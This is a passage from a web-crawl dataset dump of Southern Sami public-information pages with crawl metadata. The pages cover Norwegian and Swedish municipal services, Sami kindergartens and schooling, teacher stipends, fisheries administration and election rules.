digitaltmuseum.no","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.arkivverket.no\/om-oss\/sami-arkiiva\/paul-vesterfjell--viesterviellien-poovle","date":"2018-12-11T22:13:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823705.4\/warc\/CC-MAIN-20181211215732-20181212001232-00224.warc.gz","language":"sma","language_score":0.9999941587,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.999994158744812}","num_words":297,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Du är här:\nJis datne soejkesjh dov gåetiem jeatjahtehtedh jallh maam akt orre bigkedh dov sijjesne dellie gellien aejkien luhpiem daarpesjh, bigkemeluhpie, tjïelteste. Bigkemeluhpiem datne ohtsedh siebriedahkebigkemereeremisnie. Gaskesadth tjïelten viekselem, 0660-880 00, dellie dah datnem viehkiehtieh gïetedæjjam gaavnedh man dïedte dajven åvteste gusnie datne årroeminie.\nTjaetsie jïh malskoeluejhteme\nJeenjemes gåetieh leah tjïelten tjaetsie- jïh malskoeluejhtemevearman tjatneme. Tjïelten sïelte Miva tjaetsiem, malskoeluejhtemem jïh sorhpegïetedimmiem gïetede Orrestaaresne. Datne Mivan åestijedïenesjem gaskesadth: 0660-330 400 jallh e-påastine: firstname.lastname@example.org.\nDïhte mij prutniem åtna dan dïedte tjaetsien kvaliteeten åvteste jïh malskoeluejhtemem dåhkasjahteme. Jis dov naan gyhtjelassh tjaetsien jïh malskoeluejhtemen bïjre maahtah tjïelten siebriedahkebigkemereeremem gaskesadtedh. Tjïelten vieksele 0660-880 00, datnem viehkehte.\nSorhph\nDatne gie jïjtse gåetesne årroeminie dov sorhph bïejedh sorhpebæhtose jïh dan åvteste maeksedh tjïelte dov sorhpide veedtjie. Datne maahtah sorhpide unniedidh jis dejtie veesmedh jïh sorhph veesmemestasjovnese buektedh. Jis datne dam darjoeh dellie dov maaksoem unniedidh.\nJis datne gåetieluhpesne årroeminie dellie datne dov sorhpide olkese guedtedh sorhpegåetien gåajkoe gusnie datne galkh ovmessie materijaalh veesmedh. Kruepiesorhph vuesiehtimmien gaavhtan båeries möbleerh, elektronihke, kemikalierh jïh såafoesorhph maahtah namhtah buektedh Må veesmemejarngese.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/varldsklass.se\/omsorgochhjalp\/invandringintegration\/otherlanguagespublicinformation\/aarjelsaemien\/dovgaetesne.4.4c4feec515e441a88a91fb64.html","date":"2019-01-22T02:47:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583823140.78\/warc\/CC-MAIN-20190122013923-20190122035923-00469.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":45,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":167,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Minngemes duarstan Plassjen tjïelteståvroe akte raeresne nænnoestin, edtjieh saemien maanagïertem Plassesje tseegkedh jis budsjettem buektiehtieh. Guktie dihte budsjeedte sjædta daam edtjieh tjïeltenståvroe tjåanghkosne goeven 10.b. nænnoestidh.\nPlassjen tjieltenåejvie Hans Vintervold tuhtjie vihkeles jih åarjelsaemien gïelem nænnoestidh.\n– Mijjieh daelie nænnoestamme edtjebe giehtjedidh jih vuejnedh guktie edtjebe daam buektiehtidh. Daate vihkeles jih saemien gïelem lutnjestidh, Vintervolde jeahta.\nSaemien gïele goevtese.\nStøøremes tjoepere lea guktie beetnegh buektiehtidh.\n– Daelie voestes raajeste, edtjebe jijtjen saemien gielegoevtesem tseekedh, akte dejstie mijjien tjïelten maanagïertesne. Ibie ennje buektedh jïjtsh saemien maanagïertem tseekedh, dagke jis beetneh vierhtie lissiem åadtjobe, Vintervolde jeahta.\nGåessie daate bist sjædta?\n– Edtjebe daam mubpien tjaktese rïhpestidh, jih daate maahta åvtebarkoe sjidtedh jis edtjebe gïelereereme dajvese tjaangedh, Tjïeltenåejvie jeahta.\nMaanagïerte saemien voestes gïelesne.\nThomas Ole Andersen akte geerjene aehtjie mij tuhtjie hijvene daelie saemien maanagïerte sjædta.\n– Daate vihkeles mijjien maanide jis edtjieh saemiestidh. Voestes gïeline sjædta. Manne geerjene tjïelte daam nænnoestamme, Andersene jeahta.\nEejhtegh ïedtjigujmie barkeme jih politihkeridie eadtjoestamme.\n– Mijjien maanah reaktoem utnieh jih sijjiem tjïelten maanagïertesne åadtjodh jih dellie mijjieh jeahteme, sijhtebe gaajhkh saemien maanide akten maanagïertese tjøønghkedh. Tjoereme politihkerigujmie soptsestamme jih vuesiehtemme daate joekoen daerpies mijjese, Andersene jeahta.\nStoerre barkoe.\nAndersene veanhta dihte støøremes barkoe lea jih eensi saemien aarke biejjiem maanagïertesne buektiehtidh gusnie dihte saemien gïele jih kultuvre nænnemes.\n– Månnoeh baahtjetje tuhtjien vihkelommes åadtjoen kultuvreaerpiem nuhtjedh, månnoeh daelie aavone, Andersene orrije.\nLohkh daam daaroen gïelesne: – Samisk barnehage ville vært det beste for barna","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.nrk.no\/sapmi\/saemien-maanagierte-plassjesne-sjaedta-1.12681036","date":"2019-01-24T05:43:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547584518983.95\/warc\/CC-MAIN-20190124035411-20190124061411-00333.warc.gz","language":"sma","language_score":0.9999916553,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999916553497314}","num_words":230,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Etter at opplæringslova blei innført i Norge har alle samiske elever individuell rett til opplæring i samisk i skulen. Mange samiskelever er busatt i områder der det ikke finnes stedlige samisklærere. I slike tilfeller må skoleeier tilby alternative opplæringsformer i samisk. Den mest utbredte av disse er fjernundervisning. «Samiske tall forteller» har tidligere dokumentert økt urbanisering blant samer i Norge. Dette bidrar til at behovet for samisk fjernundervisning vil øke i åra som kommer.\nDette kapitlet tar for seg samisk fjernundervisning i et historisk perspektiv og ser elevtallsutviklinga de ti siste åra både i sør-, lule- og nordsamisk. For å få fram fjernundervisningas andel av det totale elevtallet i samisk ses tallene også opp mot det samiske elevtallet i alt.\nI enkelte fagmiljøer hersker det ei holdning om at fjernundervisning er en annenrangs opplæringsmetode. Dette har sin bakgrunn mer i myter enn fakta. Fjernundervisning kan være nøyaktig like god (eller mindre god) som annen opplæring. Elevene som får sin samiskopplæring via fjernundervisning skal også oppnå de samme kompetansemålene i læreplanen som andre samiskelever og de skal vurderes på samme måte. Derfor er det viktig at samisk fjernundervisning er likeverdig med anna samiskopplæring, og all anna språkopplæring for den saks skyld.\nFjernundervisning har i stor grad vært et urfolksinitiativ der urbanisering har medført krav om innovative opplæringsformer. Kanada har vært blant de første som begynte med denne opplæringsformen for First Nations som bodde i byer og tettsteder uten stedlige lærere i indianerspråk. I Norge er det i all hovedsak samer som får opplæring via fjernundervisning så også her er urfolksdimensjonen tydelig.\nDaate kapihtele saemien maajhööhpehtimmiem gïehtjede aktene histovreles perspektijvesne, jïh evtiedimmiem learohkelåhkoste vuartesje dej minngemes luhkie jaepiej, dovne åarjel-, julev- jïh noerhtesaemien gïelesne. Juktie maajhööhpehtimmien låhkoem dehtie ållesth learohkelåhkoste saemien gïelesne daejriehtidh, dle taalide aaj dejnie ållesth saemien learohkelåhkojne vierteste.\nMuvhtine faagebyjresinie maajhööhpehtimmiem utnieh goh akte nåakebe lïerehtimmievuekie. Jïh daesnie fåantoe lea jienebh mytah goh faaktah. Maajhööhpehtimmie maahta eevre seamma hijven (jallh ij dan hijven) goh jeatjah lïerehtimmie. Learohkh mah sijjen saemienlïerehtimmiem åadtjoeh maajhööhpehtimmien tjïrrh, edtjieh aaj dejtie seamma maahtoeulmide haalvedh learoesoejkesjisnie goh jeatjah saemienlearohkh, jïh seammalaakan vuarjasjamme sjïdtedh. Dan åvteste vihkeles saemien maajhööhpehtimmie lea seammavyörtegs jeatjah saemienlïerehtimmine, jïh dan gaavhtan aaj goh gaajhke jeatjah gïelelïerehtimmie.\nMaajhööhpehtimmie lea jeenjemasth akte råajvarimmie aalkoealmetjijstie orreme, gosse juhteme staaride lea innovatijve lïerehtimmiehammoeh krïeveme. Kanada lea dej voestes gaskem orreme mij daejnie lïerehtimmievuekine eelki dejtie First Nations-almetjidie mah staarine jïh stuerebe sijjine årroejin, jïh idtjin stïeres lohkehtæjjam indianeregïelesne utnieh. Nöörjesne åajvahkommes saemieh mah lïerehtimmiem maajhööhpehtimmien tjïrrh åadtjoeh, guktie aaj daesnie dle akte tjïelke aalkoealmetjedimensjovne.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/samilogutmuitalit.no\/se\/node\/3975","date":"2019-01-22T08:16:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583831770.96\/warc\/CC-MAIN-20190122074945-20190122100945-00293.warc.gz","language":"sma","language_score":0.9674491882,"language_script":"Latn","minhash_cluster_size":101,"top_langs":"{\"sma_Latn_score\": 0.9674491882324219, \"sme_Latn_score\": 0.01865149661898613, \"nob_Latn_score\": 0.012823200784623623}","num_words":419,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":0.971,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fylhkenålma statistihkem tjöönghkie loese- jïh mearoedååpmehkegöölemistie, vïhtesjadta man gellie mah meatan orreme mearoeloesegöölemisnie jïh dåarjoem staateles gueliefoenteste joekede. Vååksjedimmie vihkeles jis edtja buektiehtidh guelieveahkide gorredidh jïh lissiehtidh. Fylhkenålma lïhke gaskesem åtna dajveaajhterigujmie jïh vijreme- jïh göölemetjiertigujmie, jïh aktem lïhke laavenjostoem åtna pollisinie, Staaten eatnemevaaksjoeminie jïh Mearoegaedtievaeptine juktie guelievierhtide vååksjedidh.\nEatnemereeremen direktovraate dïedtem åtna gueliestuvrehtimmiej åvteste jeanojne jïh mearosne, jïh mieriedimmieh dorje göölemasse loeseste jïh mearoedååpmehkistie.\nFylhkentjïelte dïedtem åtna jaevriegueliej åvteste, mah eah leah håvhtadihks. Fylhkentjïelte aaj dïedtem åtna gueliebïepmehtimmiekonsesjovnide joekedidh.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Byjrese-jih-klijma\/Gueliereereme\/","date":"2019-01-16T00:43:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583656530.8\/warc\/CC-MAIN-20190115225438-20190116011438-00261.warc.gz","language":"sma","language_score":0.9999980927,"language_script":"Latn","minhash_cluster_size":48,"top_langs":"{\"sma_Latn_score\": 0.9999980926513672}","num_words":80,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.112,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Snåase 10 jaepieh goh reeremetjïelte\n– Aalkoe lij ånnetji muevies, mijjieh sïjse njulhtjimh bielelen rikti daejredh gåabph. Geajnoe lea sjïdteme mearan limh vaadtseme, men væjkele almetjigujmie tjïeltesne jïh akten væjkele raerieålman gaavhtan manne vïenhtem mijjieh aktem saemien reeremetjïeltem buektiehtamme saemiej vuajnoej mietie, Snåasen tjïelten åejvie Tone Våg jeahta, jïh myöte gosse Snåase reeremetjïeltine sjïdti dellie gaajhkesh dovnesh lin joekoen jueriedisnie mïsse veedtsi, men Tonen mietie dle væjkele almetji gaavhtan tjïelten reeremisnie lea jeanatjommesem buektiehtamme maam ulmine utnimh.\nDaej luhkie jaepiej naa jïjnje dorjesovveme Snåasesne. Snåase geajnoetsïeglh gåabpegen gïelesne åtna. Snåase lea saemien gïelem maanagïertesne dåarjoehtamme jïh skuvlesne. Maanagærjah åarjelsaemien gïelesne akte prioriteete orreme jïh daelie jienebh tjïelten årroejijstie sijjen gïelem haalvoeh. Åarjelsaemien aktem iemebe sijjiem åådtjeme siebriedahkesne jïh jiene-jienebh jååhkesjieh saemien edtja åtnasovvedh jïh govlesovvedh.\n– Mijjieh aaj maanagïertem utnebe jïh dan åvteste maanah maehtieh sijjen gïelem nuhtjedh maanabaelien raejeste, jïh mijjieh jeatjebh aaj såemies smaave raajesh lïerebe mejtie maehtebe nuhtjedh. Gïele tjuara evtiesovvedh guktie dïhte maahta åtnasovvedh gaajhkine bieline siebriedahkeste, jïh dejnie barkeminie. Dovne politihkerh jïh jeatjebh iktegisth barkeminie vielie jååhkesjimmiem åadtjodh saemien gïelese. Akte vihkeles barkoe mij hijven vuajnoeh sjugnede. Snåase lij voestes tjïelte åarjel-Saepmesne jïh mijjieh geerjene gosse jienebh sijhtieh reeremetjïeltine sjïdtedh, Våg jeahta.\nPioneere\nKnut Vik lea seniorraeriestæjja Trööndelagen fylhkentjïeltesne jïh koordinatovre saemien aamhtesidie. Dïhte åtna Snåasen tjïelte goh pioneere. Vik veanhta Snåasen tjïelten krïevenassh fylhkentjïeltese leah joekoen vihkeles orreme, daelie gosse jienebh edtjieh reeremetjïeltine sjïdtedh Trööndelagesne.\n–Trööndelage sæjhta stoerre dïedtem jïh dahkoesijjiem åadtjodh. Mijjieh lïhke laavenjostebe Engerdalen tjïeltine Hedmaarhkesne jïh Nordlaanten fylhkentjïeltine. Mijjieh aaj sïjhtebe lïhke laavenjostoem utnedh Jïemhtine jïh Herjedaeline mah leah såårneme dah sijhtieh daam laavenjostoem vijriedidh. Aarebi daan jaepien aavoedim gosse govlimh Røros aaj meatan sjïdti dennie hijven sïelskesne Raarvihkine ektine. Datne dååjrh datne akten saemien tjïeltese båatah gosse Snåasese båatah. Mijjieh sïjhtebe jåerhkedh saemien tjïelth evtiedidh, jïh mijjieh edtjebe laavenjostoem vielie nænnoestehtedh, Vik soptseste.\nGuhkies men hijven prosesse\nLohkehtæjja Sigbjørn Dunfjeld lea akte dejstie mij lea meatan orreme aalkoelistie, jïh lea evtiedimmiem Snåaseste goh reeremetjïelte dåeriedamme. Dïhte veanhta maajetjh dle hijven gåaradamme, men annje jïjnje aajmene.\n– Manne lim meatan aalkoelistie gosse åssjaldahke bööti jïh disse ryöjredi. Manne lim joekoen gïeltege maam snåasehkh sïjhtin jiehtedh reeremetjïelten bïjre. Maajetjh joekoen hijven gåaradamme. Manne bïllim nåake reaksjovnh sïjhtin båetedh men ij lij daerpies bïlledh goh.\nDunfjeld meala reeremetjïelte lea gellie positijve aath buakteme.\n–Manne jåarhkeskuvlesne barkeminie jïh mijjieh hijven illedahkh vuajneme. Daelie akte bielie learoehkijstie voestesgïeleldh learohkh, jïh im jaehkieh numhtie orreme jis Snåase ij lea reeremetjïeltine orreme jïh saemien maanagïertem åtneme, Dunfjeld tjïelkeste mij veanhta vihkeles Snåase jåarhka barkedh åvtetjïeltine årrodh åarjelsaemien reeremedajvesne.\n–Tjoerebe jåerhkedh gïelejarngem jïh dejtie faalenasside evtiedidh mej åvteste dïedtem åtna. Mijjieh tjoerebe aaj vuartasjidh guktie skuvle maahta meatan årrodh sov råållam nænnoestehtedh goh gïeleareena jïh kultuvredåarjoehtæjja. Manne damtem politihkerh jïh reereme Trööndelagesne aktem eerlege sjaavnjoem utnieh dan saemien åvteste barkedh. Manne gegkestem dïhte barkoe mij lea aalkeme maahta jåerhkedh, Dunfjeld minngemosth jeahta.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/samimag.no\/se\/node\/1065","date":"2019-01-17T04:34:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583658702.9\/warc\/CC-MAIN-20190117041621-20190117063621-00326.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":470,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Publicerad: 28 augusti 2018\nMandaate\nJuktie veeljemeilledahke edtja dan lïhke goh gåarede edtja proportionellen sjïdtedh gååvnesieh veeljemisnie rïjhkebeajjan jïh laantedigkie- jïh tjïeltereeremidie jalkedimmiemandaath.\nVoestes dah tjïrkes mandaatide juakasovvin jïh dan mænngan dejtie jalkedimmiemandaatide. Krirrie mij idtji åadtjoeh tjïrkes mandaatem læjhkan maahta jalkedimmiemandaatem åadtjodh. Veeljeme Europa-parlameentese barre tjïrkes mandaath gååvnesieh.\nMinngemosth voerhtjen 30 biejjien veeljemejaepien edtja Valmyndigheten\/Veeljemeåejvieladtje nænnoestidh man gellie tjïrkes mandaath fïerhten rïjhkebiejjieveeljemegievlie edtja utnedh. Dam joekede dan mietie man gellie åadtjoeh tjaatsestidh fïerhtene veeljemegievlesne.\nVeeljeme tjïelte- jïh laantedigkiereeremidie tjïelte jïh laantedigkie nænnoste man gellie mandaath edtja årrodh. Leeneståvroe minngemes voerhtjen 30 biejjien veeljemejaepien nænnoste man gellie tjïrkes mandaath fïerhte veeljemegievlie edtja utnedh.\nAbpe Sveerje akte veeljemegievlie veeljeme Europa-parlameentese. Man gellie mandaath fïerhte laante åådtje jearohks man gellie almetjh laantesne. Sveerje 20 mandaath åtna Europa-parlameentesne.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/mandaate.html","date":"2019-01-19T18:54:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583680452.20\/warc\/CC-MAIN-20190119180834-20190119202834-00621.warc.gz","language":"sma","language_score":0.9999499321,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999499320983887}","num_words":120,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaenie kvantitatijve daajroe saemien lohkehtæjjaveahkan bïjre gååvnesamme Nöörjesne. Gellede lehkeste lea jeahtasovveme gellie saemien lohkehtæjjah fååtesieh, jïh mubpieh leah jeahteme saemienlohkehtæjjah eah iktesth dam byjjes ööhpehtimmiemaahtoem utnieh. Tjaalegisnie goerehtalla låhkoem saemienlohkehtæjjijste Nöörjesne gaajhkine gïeline mejnie ööhpehtimmie vadtasåvva, dovne maadthskuvlesne jïh jåarhkeskuvlesne.\nTjaalege aaj formalmaahtoem gaajhkide saemienlohkehtæjjide vïhtesjadteme, dovne dej pedagogeles maahtoe jïh formalmaahtoe saemien gïelesne. Goerehtimmie vuesehte jienebh dejstie saemienlohkehtæjjijste pedagogeles maahtoem fååtesieh viertiestamme mubpiej lohkehtæjjaj gaskemedtine Nöörjesne. Seamma tïjjen vuejnebe formalmaahtoe saemien gïelesne lea joekoen jolle.\nJïjnjh learohkh fïerhten julevsaemien lohkehtæjjese, learohkeveahka daesnie lea seamma goh jeatjah lehkesne Nordlaantese jïh raaktan jollebe goh learohkeveahka Bådåddjosne. Daate vuesehte joekoen jïjnjh lohkehtæjjah julevsaemien gïelemaahtojne fååtesieh.\nNoerhtesaemien jïh åarjelsaemien gïelese learohkeveahka lea sagke vueliehkåbpoe, guktie lohkehtæjjavaanoe ij leah seamma nåake daesnie dan lïhke båetijen aejkien. Men læjhkan aalteren gaskemedtie vuesehte jïjnjh saemienlohkehtæjjah sijhtieh barkosne orrijidh dej minngebi luhkie jaepiej, jïh joekoen vaenie ohtsijh orreme saemien lohkehtæjjaööhpehtæmman. Dan åvteste libie vaahresne sagke vaenebh saemienlohkehtæjjah utnedh luhkie jïh göökteluhkie jaepiej minngelen goh daan biejjien, jis dåårrehtimmie saemien lohkehtæjjaööhpehtimmide ij tjarke læssenh.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/samilogutmuitalit.no\/en\/node\/3976","date":"2019-01-24T12:58:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547584547882.77\/warc\/CC-MAIN-20190124121622-20190124143622-00061.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":101,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":167,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïerjen tjïelte 11 voenine maanahoksem faala. Dejstie molsehth-laakan aarhskuvlide tjïjhtje tjïelten leah, jih dah jeatjebh darjoen jïjtsh aktesijstie. Gaajhkide aarskuvlen molsehth-laakanidie leah tjïelten gïehtjedimmien nuelesne jih ellies darjoen dejtie kvalitetkrïevide mah tjïelte nännoestamme.\nDov lea reaktah aarshskuvlem tjïeltesne veeljedh gusnie sïjhth. Dov vaajtelimmiem sjïere aarhskuvlen bïjre öörnebe jis sijjem gååvnese.\nSyökemem datne goeresne darjoeh mij åelkiesbielesne menyesne gååvnese. Tjïelte luhpede sov barkoetjirkemistie ahte aarhskuvlesijjem golme askesne faalen don biejjeste syökemem sijse båateme (daamhtah sneehpebe). Menyesne dunnie garrahbielesne maahtah jienebh lohkedh dej ovmessie molsehthlaaketji bïjre aarhskuvlese mij faalen.\nDaamhtah ij leah daerpies åvtevåarojne dan gaavhtan Bïerjen tjïelte maahta aarhskuvlesijjem gaajhkide maanide gaajh åenehks bïeljelimmien männgan faaledh. Jis gïetedimmiem dallah aarhskuvlesäjjan daarpesjh, gaskesadth maana-jih ööhpehtimmieåejviem.\nAarhskuvlide tjïeltesne leah gaahpode gaskoe 06.00 jih 18.00, bene såemies byjrehks joekehts maahta årrodh.\nBïerjen tjïelte jïjnjemesåasam(maksetaksam) aarhskuvlesne åtna. Menyesne dunnie åelkiesbïelesne maahtah vuejnedh guktie ulmiem lea jih man jïjnjes aktem sijjem maaksa.\nAarhskuvle reaktam åtna darjoem soejkesjämman steegkedh jïjnjemes njieljie aejkieh fïerhten jaepien. Jienebh bïevnesh aarhskuvli gaahpoe-tijji bïjre vuesiehtimmiesijjide gååvnese, fïerhtene aarhskuvlese.\nAarskuvle seamma beapmoelästoem goh skuvlide dåerede. Gaajhkide beapmojde mijjen jïjtsh tjöövkesne jurjehten. Jis sjïere beapmoem daarpesj gåarede iktesth öörnedh.\nMaanide mah allergijem utnieh, rutinh gååvnese fïerhtene aarhskuvlesne.\nUppdaterad: 2018-03-12 10.08","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.berg.se\/medborgare\/kommunochpolitik\/saemienreeremedajvesamiskforvaltningskommun\/aarhskuvlhbierjentjieltesneforskoloribergskommun.4.2a948e2414c4aa4dd9a204da.html","date":"2019-01-18T14:21:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583660139.37\/warc\/CC-MAIN-20190118131222-20190118153222-00269.warc.gz","language":"sma","language_score":0.9999955893,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 0.9999955892562866}","num_words":191,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaepien 2018 raejeste Saemiedigkie \"superstipendem\" 50.000 kråvnine vadta fïerhten jaepien dejtie mah maadthskuvlelohkehtæjjaööhpehtimmiem saemiengïeline faagegievlesne jallh maanagïertelohkehtæjjaööhpehtimmiem vaeltieh.\nSaemiendigkien stoerretjåanghkoe lea nænnoestamme ajve studenth maanagïertelohkehtæjjaööhpehtimmesne jïh ovmessie lohkehtæjjaööhpehtimmine stipendem jollebe ööhpehtæmman Saemiedigkeste åadtjoeh daan jaepien, dan åvteste joekoen gellie saemiengïeleldh lohkehtæjjah maanagïertesne jïh maadthskuvlesne fååtesieh.\nTjaktjen 2018 maasterinie åarjel- jïh julevsaemien lohkehtæjjaööhpehtimmesne 1-7 aalka Noerhte Universiteetesne, mearan Saemien Jïlleskuvle sov maadthskuvlelohkehtæjjaööhpehtimmiejgujmie 1-7 jïh 5-10 eelki tjaktjen 2017. Studenth daejnie ööhpehtimmine maehtieh stipendem dåastodh Saemiedigkeste. Superstipende aaj vadtasåvva dejtie mah saemien voestes- jallh mubpiengïeline åtneme jåarhkeskuvlesne jïh mah maasterem vaeltieh maadthskuvlelohkehtæjjaööhpehtimmesne saemien gïeline goh jïjtse faage, jallh maanagïertelohkehtæjjaööhpehtimmesne. Saemiedigkien stipendenjoelkedassh daesnie gaavnh.\nLissine lohkehtæjjah barkoem åadtjoeh ööhpehtimmien mænngan, joekoen åajvoeh öörnegh aaj tseegkesovveme juktie lohkehtæjjaööhpehtæmman skreejrehtidh. Statens lånekasse studijelaajkoem tjeavede dejtie mah lohkehtæjjaööhpehtimmiem vaeltieh normeradamme tïjjen sisnjelen, jïh jïjtse öörnegh åtna Noerhte-Nöörjese jïh dejtie mah saemien vaeltieh goh akte bielie lohkehtæjjaööhpehtimmeste. Lohkh vielie njoelkedassi bïjre Statens lånekassen nedtesæjrojne daesnie jïh daesnie.\nOhtsememierie jollebe ööhpehtæmman lea voerhtjen 15. b.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/saemiedigkie.no\/Dienesjh2\/Lierehtimmie-jih-learoevierhtieh\/Daelie-superstipendem-aaadtjoeh","date":"2019-01-20T07:37:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583700734.43\/warc\/CC-MAIN-20190120062400-20190120084400-00501.warc.gz","language":"sma","language_score":1.0000015497,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000015497207642}","num_words":149,"character_repetition_ratio":0.146,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.154,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Du är här:\nTjïelte dåarjoem jïh viehkiem årroejidie vadta mah ovmessie sjiekiej åvteste siebriedahken viehkiem daarpesjieh åeniehkåbpoe jallh guhkebe boelhkine. Naan dïenesjh Sociallaaken jïh Laake dåarjoen jïh dïenesjh naan ov-vervies almetjidie regaleradamme. Jeatjah darjomh tjïelten politihkerh leah sjæjsjalamme tjïelte edtja faaledh.\nVoeresesåjhtoe\nVoeresh mah dåarjoem daarpesjieh dej aarkebiejjien maehtieh viehkiem åadtjodh tjïelteste. Dåarjoe lea laaken mietie regleradamme jïh tjïelte pryövemem dorje fïerhten almetjen daerpiesvoeteste. Viehkie guktie voerese maahta gåetesne årrodh. Hïejmedïenesjen barkijh viehkiehtieh hoksine, daalhkesinie, persovneles hygienine, bïsseminie jïh aelkebe sjeakoeminie.\nDïhte gie ij maehtieh beapmoeh jurjiehtidh maahta beapmoeh gåatan buektiesåvva. Voeresh mah oktegh gåetesne maehtieh jearsoesvoetealaarmem åadtjodh mejnie maahtah viehkiem gåhtjodh.\nDïhte gie jïjnje hoksem daarpesje maahta hokse- jïh såjhtoeårromesæjjan båetedh gusnie barkijh abpe dygnesne.\nDïhte gie viehkiem åådtje hoksine jïh såjhtojne daej åvteste maeksedh. Maaksoe dan mietie man jïjnjh viehkiem daarpesje jïh man jïjnjh beetnegh åtna.\nGååvnese aelkebe dïenesjh mah namhtah. Gaavnedimmiesijjieh gusnie voeresh maehtieh gaavnedidh jïh ovmessie darjoeminie meatan årrodh.\nGaskesadteme\nJis datne sïjhth vielie dåarjoem jïh viehkiem voeresidie daejredh, gaskesadth tjïelten lïhkesadtje- jïh voeresekonsuleentem: 0660-881 98. Jis datne sïjhth viehkiem ohtsedidh, gaskesadth dåastoveektievoetem: 0660-26 51 82.\nDåarjoe svihtjemeheaptojne\nAlmetjh heaptojne edtjieh viehkiem åadtjodh meatan siebriedahkesne årrodh. Dïhte lea individuelle dåarjoem jïh tjïelte pryövemem dorje fïerhten almetjen daerpiesvoeteste.\nDïhte gie jïjnje viehkiem daarpesje sov aarkebiejjesne bïerkenidh maahta persovneles viehkiehtæjjam åadtjodh. Dïhte viehkehte hygienine, gåårvedimmine, beapmojne jïh jeatjah mah ij maehtieh jïjtje darjodh.\nJis jïjnje hoksem jïh dåarjoem daarpesje maahta almetje årromesijjiem åadtjodh gusnie sjïere dåarjoe. Maahta dåehkiegåetieh jallh sïejhme leejjemegåetieh årrodh. Dåehkiegåetine fïere guhte dan jïjtse gåetieluhpiem åtna men barkijh daesnie abpe dygnem. Dejtie gïeh maehtieh jienebe bïerkenidh dïenesjegåetieh gååvnesieh. Dah leah leejjemegåetieh gusnie årroje viehkiem åådtje jis daarpesje.\nTjïelte maahta dåarjoem vedtedh dejtie mah fysihke svihtjemeheaptoem utnieh, dah 